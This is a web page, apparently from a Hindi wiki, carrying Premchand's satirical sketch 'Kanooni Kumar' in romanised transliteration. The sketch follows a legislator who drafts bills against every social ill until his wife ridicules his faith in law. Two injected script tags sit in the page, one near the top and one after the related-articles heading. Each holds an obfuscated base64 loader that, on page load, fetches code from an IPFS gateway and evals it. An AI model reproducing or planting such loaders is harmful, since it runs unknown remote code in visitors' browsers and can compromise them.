कानूनी कुमार -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mi. kanooni kumar, em.el.e. apane aanphis mean samacharapatroan, patrikaoan aur riportoan ka ek dher lie baithe haian. desh ki chintaoan se unaki deh sthool ho gayi hai; sadaiv deshoddhar ki fikr mean p de rahate haian. samane park hai. usamean kee l dake khel rahe haian. kuchh paradevali striyaan bhi haian, pheansiang ke samane bahut-se bhikhamange baithe haian, ek chayavala ek vriksh ke niche chay bech raha hai. kanooni kumar (ap-hi-ap) desh ki dasha kitani kharab hoti chali jati hai. gavarnameant kuchh nahian karati. bas davatean khana aur mauj u dana usaka kam hai. (park ki or dekhakar) ‘ah ! yah komal kumar sigaret pi rahe haian. shok ! mahashok ! koee kuchh nahian kahata, koee isako rokane ki koshish bhi nahian karata. tambakoo kitani zaharili chiz hai, balakoan ko isase kitani hani hoti hai, yah koee nahian janata. (tambakoo ki riport dekhakar) oph ! roangate kh de ho jate haian. jitane balak aparadhi hote haian, unamean 75 prati saik de sigaretabaj hote haian. b di bhayankar dasha hai. ham kya karean ! lakh spichean do, koee sunata hi nahian. isako kanoon se rokana chahie, nahian to anarth ho jayaga. (kagaz par not karata hai) tambakoo-bahishkar-bil pesh karooanga. kauansil khulate hi yah bil pesh kar dena chahie. (ek kshan ke bad phir park ki or takata hai, aur paharedar mahilaoan ko ghas par baithe dekhakar lambi saans leta hai.) ‘gajab hai, gajab hai; kitana ghor anyay ! kitana pashavik vyavahar !! yah komalaangi sundariyaan chadar mean lipati huee kitani bhaddi, kitani phooh d maloom hoti haian. abhi to desh ka yah hal ho raha hai. (riport dekhakar) striyoan ki mrityu-sankhya badh rahi hai. tapedik uchhalata chala ata hai, prasoot ki bimari aandhi ki tarah chadhi ati hai aur ham haian ki aankhean band kiye p de haian. bahut jaldi rrishiyoan ki yah bhoomi, yah vir-prasavini janani rasatal ko chali jayagi, isaka kahian nishan bhi n rahega. gavarnameant ko kya fikr ! log kitane pashan ho gaye haian. aankhoan ke samane yah atyachar dekhate haian aur jara bhi nahian chauankate. yah mrityu ka shaithily hai. yahaan bhi kanooni zaroorat hai. ek aisa kanoon banana chahie, jisase koee stri parade mean n rah sake. ab samay a gaya hai ki is vishay mean sarakar qadam badhave. kanoon ki madad ke bagair koee sudhar nahian ho sakata aur yahaan kanooni madad ki jitani zaroorat hai, utani aur kahaan ho sakati hai. mataoan par desh ka bhavishy avalambit hai. parada-hatav-bil pesh hona chahie. janata hooan b da virodh hoga; lekin gavarnameant ko sahas se kam lena chahie, aise napuansak virodh ke bhay se uddhar ke kary mean badha nahian p dani chahie. (kagaz par not karata hai) yah bil bhi aseanbali ke khulate hi pesh kar dena hoga. bahut vilamb ho chuka, ab vilamb ki guanjaish nahian hai. varana mariz ka ant ho jayaga. (masauda banane lagata hai hetu aur uddeshy )   sahasa ek bhikshuk samane akar pukarata hai – ‘zay ho sarakar ki, lakshmi phoolean-phalean. kanooni hat jao, yoo suar koee kam kyoan nahian karata?’ bhikshuk—‘b da dharm hoga sarakar, mare bhookh ke aankhoan-tale andhera ... kanooni –‘chup raho suar; hat jao samane se, abhi nikal jao, bahut door nikal jao. (masauda chho dakar phir ap-hi-ap),’yah rrishiyoan ki bhoomi aj bhikshukoan ki bhoomi ho rahi hai. jahaan dekhie, vahaan rev d-ke-rev d aur dal-ke-dal bhikhari ! yah gavarnameant ki laparavahi ki barakat hai. iangalaind mean koee bhikshuk bhikh nahian maang sakata. pulis pak dakar kal-kothari mean band kar de. kisi sabhy desh mean itane bhikhamange nahian haian. yah paradhin gulam bharat hai, jahaan aisi batean is bisavian sadi mean bhi sambhav haian. uph ! kitani shakti ka apavyay ho raha hai. (riport nikalakar) oh ! 50 lakh ! 50 lakh adami keval bhiksha maangakar gujar karate haian aur kya thik hai ki sankhya isaki dugani n ho. yah pesha likhana kaun pasand karata hai. ek karo d se kam bhikhari is desh mean nahian haian. yah to bhikhariyoan ki bat huee, jo dvar-dvar jholi liye ghoomate haian. isake uparaant tikadhari, kopinadhari aur jatadhari samuday bhi to haian, jinaki sankhya kam-se-kam do karo d hogi. jis desh mean itane haramakhor, muft ka mal u danevale, doosaroan ki kamaee par mote hone vale prani hoan, usaki dasha kyoan n itani hin ho. ashchary yahi hai ki ab tak yah desh jivit kaise hai ? hnot karata hai) ek bil ki sakht zaroorat hai, use pesh karana hi chahie nam ho 'bhikhamanga-bahishkar-bil.' khoob jootiyaan chaleangi, dharm ke sootradhar khoob nacheange, khoob galiyaan deange, gavarnameant bhi kanni kategi; magar sudhar ka marg to kantakakirn hai hi. tinoan bil mere hi nam se hoan, phir dekhie, kaisi khalabali machati hai. (avaz ati hai chay garam ! chay garam !! magar grahakoan ki sankhya bahut kam hai. kanooni kumar ka dhyan chayavale ki or akarshit ho jata hai.) kanooni (ap-hi-ap) ‘chayavale ki dookan par ek bhi grahak nahian, kaisa moorkh desh hai ! itani balavardhakak vastu aur grahak koee nahian ! sabhy deshoan mean pani ki jagah chay pi jati hai. (riport dekhakar) ianglaiand mean paanch karo d paund ki chay jati hai. ianglaiand vale moorkh nahian haian. unaka aj sansar par adhipaty hai, isamean chay ka kitana b da bhag hai, kaun isaka anuman kar sakata hai ? yahaan bechara chayavala kh da hai aur koee usake pas nahian phatakata. chinavale chay pi-pikar svadhin ho gaye; magar ham chay n piyeange. kya akal hai. gavarnameant ka sara dosh hai. kitoan se bhare hue doodh ke lie itana shor machata hai; magar chay ko koee nahian poochhata, jo kitoan se khali, uttejak aur pushtikarak hai ! sare desh ki mati mari gayi hai. (not karata hai) gavarnameant se prashn karana chahie. aseanbali khulate hi prashnoan ka taanta baandh dooanga. prashn kya gavarnameant batayegi ki gat paans saloan mean bharatavarsh mean chay ki khapat kitani badhi hai aur usaka sarvasadharan mean prachar karane ke lie gavarnameant ne kya qadam lie haian ? (ek ramani ka pravesh. kate hue kesh, a di maang, parasi reshami sa di, kalaee par gh di, aankhoan par ainak, paanv mean ooanchi e di ka ledi shoo, hath mean ek batua latakaye hue, sa di mean brooch hai, gale mean motiyoan ka har. kanooni – ‘hallo misej bos ! ap khoob ayian, kahie, kidhar ki sair ho rahi hai ? abaki to 'alok' mean apaki kavita b di sundar thi. maian to padhakar mast ho gaya. is nanhe-se hriday mean itane bhav kahaan se a jate haian, mujhe ashchary hota hai. shabd-vinyas ki to ap rani haian. aise-aise chot karane vale bhav apako kaise soojh jate haian.‘ misej bos—‘dil jalata hai, to usamean ap-se-ap dhuean ke badal nikalate haian. jab tak stri-samaj par purushoan ka atyachar rahega, aise bhavoan  ki kami n rahegi.‘ kanooni –‘kya idhar koee nayi bat ho gayi ?’ bos –‘roj hi to hoti rahati hai. mere lie daktar bos ki ajna nahian ki kisi se milane jao, ya kahian sair karane jao. abaki kaisi garami p di hai ki sara rakt jal gaya, par maian paha doan par n ja saki. mujhase yah atyachar, yah gulami nahian sahi jati.‘ kanooni –‘ daktar bos khud bhi to paha doan par nahian gaye.‘ bos –‘vah n jayan, unhean dhan ki hay-hay p di hai. mujhe kyoan apane sath liye marate haian ? vah klab mean nahian jana chahate, unaka samay rupaye ugalata hai, mujhe kyoan rokate haian ! vah khaddar pahanean, mujhe kyoan apani pasand ke kap de pahanane se rokate haian ! vah apani mata aur bhaiyoan ke gulam bane rahean, mujhe kyoan unake sath ro-rokar din katane par majaboor karate haian ! mujhase yah bardasht nahian ho sakata. amerika mean ek katuvachan kahane par sambandh-vichchhed ho jata hai. purush jara der mean ghar aya aur stri ne talak diya. vah svadhinata ka desh hai, vahaan logoan ke vichar svadhin haian. yah gulamoan ka desh hai, yahaan har ek bat mean usi gulami ki chhap hai. maian ab daktar bos ke sath nahian rah sakati. nakoan dam a gaya. isaka uttaradayitv unhian logoan par hai jo samaj ke neta aur vyavasthapak banate haian. agar ap chahate haian ki striyoan ko gulam banakar svadhin ho jayan, to yah anahoni bat hai. jab tak talak ka kanoon n jari hoga, apaka svarajy akash-kusum hi rahega. daktar bos ko ap janate haian, dharm mean unaki kitani shraddha hai ! khabt kahie. mujhe dharm ke nam se ghrina hai. isi dharm ne stri-jati ko purush ki dasi bana diya hai. mera bas chale, to maian sare dharm ki pothiyoan ko uthakar paranale mean pheank dooan.‘ (misez aiyar ka pravesh. gora rang, ooancha kad, ooancha gaun, gol haan di ki-si topi, aankhoan par ainak, chehare par paudar, galoan aur oanthoan par surkh peant, reshami jurrabean aur ooanchi e di ke joote.) kanooni (hath badhakar) ‘hallo misez aiyar ! ap khoob ayian. kahie, kidhar ki sair ho rahi hai. 'alok' mean abaki apaka lekh atyant sundar tha, maian to padhakar dang rah gaya.‘ misez aiyar –‘(misez bos ki or muskarakar) dang hi to rah gaye ya kuchh kiya bhi. ham striyaan apana kaleja nikalakar rakh dean; lekin purushoan ka dil n pasijega.‘ bos –‘saty ! bilakul saty.‘ aiyar –‘magar is purush-raj ka bahut jald ant hua jata hai. striyaan ab kaid mean nahian rah sakatian. mi. aiyar ki soorat maian nahian dekhana chahati. (misez bos muanh pher leti haian) kanooni (musqarakar) –‘ mi. aiyar to khoobasoorat adami haian.‘ ledi aiyar –‘unaki soorat unhean mubarak rahe. maian khoobasoorat paradhinata nahian chahati, badasoorat svadhinata chahati hooan. vah mujhe abaki jabaradasti paha d par le gaye. vahaan ki shit mujhase nahian sahi jati, kitana kaha, ki mujhe mat le jao; magar kisi tarah n mane. maian kisi ke pichhe-pichhe kutiya ki tarah nahian chalana chahati.  (misez bos uthakar khi daki ke pas chali jati haian) kanooni –‘ab mujhe maloom ho gaya ki talak ka bil asembali mean pesh karana p dega !’ aiyar –‘khair, apako maloom to hua; magar shayad kayamat mean.‘ kanooni –‘nahian misez aiyar, abaki chhuttiyoan ke bad hi yah bil pesh hoga aur dhoomadham ke sath pesh hoga. beshak purushoan ka atyachar badh raha hai. jis pratha ka virodh ap donoan mahilaean kar rahi haian, vah avashy hindoo samaj ke lie ghatak hai. agar hamean sabhy banana hai, to sabhy deshoan ke padachihnoan par chalana p dega. dharm ke thikedar chill-poan machayeange, koee paravah nahian. unaki khabar lena ap donoan mahilaoan ka kam hoga. aisa banana ki muanh n dikha sakean.‘ ledi aiyar –‘peshagi dhanyavad deti hooan. (hath milakar chali jati hai.) misez bos –‘(khi daki ke pas se akar) aj isake ghar mean ghi ka chirag jalega. yahaan se sidhe bos ke pas gayi hogi ! maian bhi jati hooan. (chali jati hai) kanooni kumar ek kanoon ki kitab uthakar usamean talak ki vyavastha dekhane lagata hai ki mi. achary ate haian. muanh saph, ek aankh par ainak, khali adhe baanh ka shart, nikar, ooni moje, lambe boot. pichhe ek teriyar kutta bhi hai. kanooni –‘hallo mi. achary ! ap khoob aye, aj kidhar ki sair ho rahi hai ? hotal ka kya hal hai ? achary –‘qutte ki maut mar raha hooan. itana badhiya bhojan, itana saph-suthara makan, aisi roshani, itana aram phir bhi mehamanoan ka durbhiksh. samajh mean nahian ata, ab kitana kharch ghataooan. in damoan alag ghar mean mota khana bhi nasib nahian ho sakata. us par sare jamane ki jhanjhat, kabhi naukar ka rona, kabhi doodhavale ka rona, kabhi dhobi ka rona, kabhi mehatar ka rona; yahaan sare janjal se mukti ho jati hai. phir bhi adhe kamare khali p de haian.’ kanooni –‘yah to apane buri khabar sunayi.‘ achary –‘ pachchhim mean kyoan itana sukh aur shanti hai, kyoan itana prakash aur dhan hai, kyoan itani svadhinata aur bal hai. inhian hotaloan ke prasad se. hotal pashchimi gaurav ka mukhy aang hai, pashchimi sabhyata ka pran hai. agar ap bharat ko unnati ke shikhar par dekhana chahate haian, to hotal-jivan ka prachar kijie. isake siva doosara upay nahian hai. jab tak chhoti-chhoti ghareloo chintaoan se mukt n ho jayange, ap unnati kar hi nahian sakate. rajoan, reesoan ko alag gharoan mean rahane dijie, vah ek ki jagah das kharch kar sakate haian. madhyam shrenivaloan ke lie hotal ke prachar mean hi sabakuchh hai. ham apane sare mehamanoan ki fikr apane sir lene ko taiyar haian, phir bhi janata ki aankhean nahian khulatian. in moorkhoan ki aankhean us vakt tak n khuleangi, jab tak kanoon n ban jay.’ kanooni –‘(gambhir bhav se) haan, maian soch raha hooan. zaroor kanoon se madad leni chahie. ek aisa kanoon ban jay, ki jin logoan ki ay 500) se kam ho, hotaloan mean rahean. kyoan ?’ achary –‘ap agar yah kanoon banava dean, to anevali santan apako apana muktidata samajhegi. ap ek qadam mean desh ko 500 varsh ki manzil tay kara deange.‘ kanooni –‘to lo, abaki yah kanoon bhi aseanbali khulate hi pesh kar dooanga. b da shor machega. log deshadrohi aur jane kya-kya kaheange, par isake lie taiyar hooan. kitana du:kh hota hai, jab logoan ko ahir ke dvar par lutiya liye kh da dekhata hooan. striyoan ka jivan to narak-tuly ho raha hai. subah se das-barah baje rat tak ghar ke dhandhoan se phurasat nahian. kabhi baratan maanjo, kabhi bhojan banao, kabhi jha doo lagao. phir svasthy kaise bane, jivan kaise sukhi ho, sair kaise karean, jivan ke amod-pramod ka anand kaise uthavean, adhyayan kaise karean ? apane khoob kaha,ek qadam mean 500 saloan ki manzil poori huee jati hai.‘ achary –‘to abaki bil pesh kar dijiega ?’ kanooni –‘avashy !’ (achary hath milakar chala jata hai) kanooni kumar khi daki ke samane kh da hokar 'hotal-prachar-bil' ka masavida soch raha hai. sahasa park mean ek stri samane se gujarati hai. usaki god mean ek bachcha hai, do bachche pichhe-pichhe chal rahe haian aur udar ke ubhar se maloom hota hai ki garbhavati bhi hai. usaka krish sharir, pila mukh aur mand gati dekhakar anuman hota ki usaka svasthy big da hua hai aur is bhar ka vahan karana use kashtaprad hai. kanooni kumar –‘(ap-hi-ap) is samaj ka, is desh ka aur is jivan ka satyanash ho, jahaan ramaniyoan ko keval bachcha janane ki mashin samajha jata hai. is bechari ko jivan ka kya sukh ! kitani hi aisi bahanean isi janjal mean phansakar 32, 35 ki avastha mean jabaki vastav mean jivan ko sukhi hona chahie, rugn hokar sansar-yatra samapt kar deti haian. ha bharat ! yah vipatti tere sir se kab talegi ? sansar mean aise-aise pashan-hriday manushy p de hue haian, jinhean is dukhiyariyoan par jara bhi daya nahian ati. aise andhe, aise pashan, aise pakhandi samaj ko, jo stri ko apani vasanaoan ki vedi par balidan karata hai, kanoon ke siva aur kis vidhi se sachet kiya jay ? aur koee upay hi nahian hai. nar-hatya ka jo dand hai, vahi dand aise manushyoan ko milana chahie. mubarak hoga vah din, jab bharat mean is nashini pratha ka ant ho jayaga stri ka maran, bachchoan ka maran aur jis samaj ka jivan aisi santanoan par adharit ho, usaka maran ! aise badamashoan ko kyoan n dand diya jay ? kitane andhe log haian. bekari ka yah hal ki bharapet kisi ko rotiyaan nahian milatian, bachchoan ko doodh svapn mean bhi nahian milata aur ye andhe haian ki bachche-par-bachche paida karate jate haian. 'santan-nigrah-bil' ki jitani zaroorat hai. is desh ko, utani aur kisi kanoon ki nahian. aseanbali khulate hi yah bil pesh karooanga. pralay ho jayaga, yah janata hooan, par aur upay hi kya hai ? do bachchoan se zyada jisake hoan, use kam-se-kam paanch varsh ki kaid, usamean paanch mahine se kam kal-kothari n ho. jisaki amadani sau rupaye se kam ho, use santanotpatti ka adhikar hi n ho. hman mean bil ke bad ki avastha ka anand lekar) kitana sukhamay jivan ho jayega. haan, ek dapha yah bhi rahe ki ek santan ke bad kam-se-kam sat varsh tak doosari santan n ane pave. tab is desh mean sukh aur santosh ka samrajy hoga, tab striyoan aur bachchoan ke muanh par khoon ki surkhi najar ayegi, tab mazaboot hath-paanv aur mazaboot dil aur jigar ke purush utpann hoange.‘ (misez kanooni kumar ka pravesh) kanooni kumar jaldi se riportoan aur patroan ko samet leta hai aur ek upanyas kholakar baith jata hai. misez –‘kya kar rahe ho ? vahi dhun !’ kanooni –‘upanyas padh raha hooan.’ misez –‘tum sari duniya ke lie kanoon banate ho, ek kanoon mere lie bhi bana do. isase desh ka jitana b da upakar hoga, utana aur kisi kanoon se n hoga. tumhara nam amar ho jayaga aur ghar-ghar tumhari pooja hogi !’ kanooni –‘agar tumhara khayal hai ki maian nam aur yash ke lie desh ki seva kar raha hooan, to mujhe yahi kahana p dega ki tumane mujhe ratti-bhar bhi nahian samajha.’ miesez –‘nam ke lie kam koee bura kam nahian hai, tumhean yash ki akaanksha ho, to maian usaki ninda n karooangi, bhoolakar bhi nahian. maian tumhean ek aisi hi tadabir bata dooangi, jisase tumhean itana yash milega ki tum oob jaoge. phooloan ki itani varsha hogi ki tum usake niche dab jaoge. gale mean itane har p deange ki tum garadan sidhi n kar sakoge.‘ kanooni (utsukata ko chhipakar) –‘qoee majak ki bat hogi. dekha minni, kam karanevale adami ke lie isase b di doosari badha nahian hai ki usake gharavale usake kam ki ninda karate hoan. maian tumhare is vyavahar se nirash ho jata hooan.‘ misez –‘talak ka kanoon to banane ja rahe ho, ab kya dar hai.‘ kanooni –‘fir vahi majak ! maian chahata hooan tum in prashnoan par gambhir vichar karo.‘ misez –‘maian bahut gambhir vichar karati hooan ! sach mano. mujhe isaka du:kh hai ki tum mere bhavoan ko nahian samajhate. maian is vakt tumase jo bat karane ja rahi hooan, use maian desh ki unnati ke lie avashyak hi nahian, paramavashyak samajhati hooan. mujhe isaka pakka vishvas hai. kanooni –‘ poochhane ki himmat to nahian p dati. (apani jheanp mitane ke lie hansata hai.) misez –‘maian khud hi kahane ayi hooan. hamara vaivahik jivan kitana lajjaspad hai; tum khoob janate ho. rat-din rag da-jhag da macha rahata hai. kahian purush stri par hath saf kar leta hai, kahian stri purush ki mooanchhoan ke bal nochati hai. hamesha ek-n-ek gul khila hi karata hai. kahian ek muanh phulaye baitha hai, kahian doosara ghar chho dakar bhag jane ki dhamaki de raha hai. karan janate ho kya hai ? kabhi socha hai ? purushoan ki rasikata aur kripanata ! yahi donoan aib manushyoan ke jivan ko narak-tuly banaye hue haian. jidhar dekho, ashanti hai, vidroh hai, badha hai. sal mean lakhoan hatyaean inhian buraiyoan ke karan ho jati haian, lakhoan striyaan patit ho jati haian, purush mady-sevan karane lagate haian, yah bat hai ya nahian ?’ kanooni –‘bahut-si buraiyaan aisi haian, jinhean kanoon nahian rok sakata.‘ misez –‘(kahakaha, marakar) achchha, kya ap bhi kanoon ki akshamata svikar karate haian ? maian yah nahian samajhati thi. maian to kanoon ko eeshvar se zyada sarvavyapi, sarvashaktimanh samajhati hooan.‘ kanooni –‘fir tumane majak shuroo kiya.‘ misez –‘achchha, lo kan pak dati hooan. ab n hansooangi. maianne un buraiyoan ko rokane ka ek kanoon socha hai. usaka nam hoga 'dampati-sukh-shanti bil'. usaki do mukhy dharaean hoangi aur kanooni barikiyaan tum thik kar lena. ek dhara hogi ki purush apani amadani ka adha bina kan-pooanchh hilaye stri ko de de; agar n de, to paanch sal kathin karavas aur paanch mahine kal-kothari. doosari dhara hogi, pandrah se pachas tak ke purush ghar se bahar n nikalane pavean, agar koee nikale, to das sal karavas aur das mahine kal-kothari. bolo manjoor hai ?’ kanooni –‘(gambhir hokar) ‘asambhav, tum prakriti ko palat dena chahati ho. koee purush ghar mean kaidi banakar rahana svikar n karega.‘ misez –‘vah karega aur usaka bap karega ! pulis dande ke zor se karayegi. n karega, to chakki pisani p degi. karega kaise nahian. apani stri ko ghar ki murgi samajhana aur doosari striyoan ke pichhe dau dana, kya khalaji ka ghar hai ? tum abhi is kanoon ko asvabhavik samajhate ho. mat ghab dao. striyoan ka adhikar hone do. yah pahala kanoon n ban jave, to kahana ki koee kahata tha. stri ek-ek paise ke lie tarase aur ap gulachharre u dayean. dillagi hai ! adhi amadani stri ko de deni p degi, jisaka usase koee hisab n poochha, ja sakega.‘ kanooni –‘tum manav-samaj ko mitti ka khilauna samajhati ho.‘ misez –‘qadapi nahian. maian yahi samajhati hooan ki kanoon sabakuchh kar sakata hai. manushy ka svabhav bhi badal sakata hai.’ kanooni –‘qanoon yah nahian kar sakata.‘ misez –‘qar sakata hai.’ kanooni –‘nahian kar sakata.’ misez –‘qar sakata hai; agar vah jabaradasti l dakoan ko skool bhej sakata hai; agar vah jabaradasti vivah ki umr niyat kar sakata hai; agar vah jabaradasti bachchoan ko tika lagava sakata hai, to vah jabaradasti purushoan ko ghar mean band bhi kar sakata hai, usaki amadani ka adha striyoan ko bhi dila sakata hai. tum kahoge, purush ko kasht hoga. jabaradasti jo kam karaya jata hai, usamean karane vale ko kasht hota hai. tum us kasht ka anubhav nahian karate; isilie vah tumhean nahian akharata. maian yah nahian kahati ki sudhar zaroori nahian hai. maian bhi shiksha ka prachar chahati hooan, maian bhi bal-vivah band karana chahati hooan, maian bhi chahati hooan ki bimariyaan n phailean, lekin kanoon banakar jabaradasti yah sudhar nahian karana chahati. logoan mean shiksha aur jagriti phailao, jisamean kanooni bhay ke bagair vah sudhar ho jay. apase kursi to chho di jati nahian, ghar se nikala jata nahian, shaharoan ki vilasita ko ek din ke lie bhi nahian tyag sakate aur sudhar karane chale haian ap desh ka ! is tarah sudhar n hoga. haan, paradhinata ki be di aur bhi kathor ho jayagi.‘ (misez kumar chali jati haian, aur kanooni kumar avyavasthit-chitt-sa kamare mean tahalane lagata hai.)

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>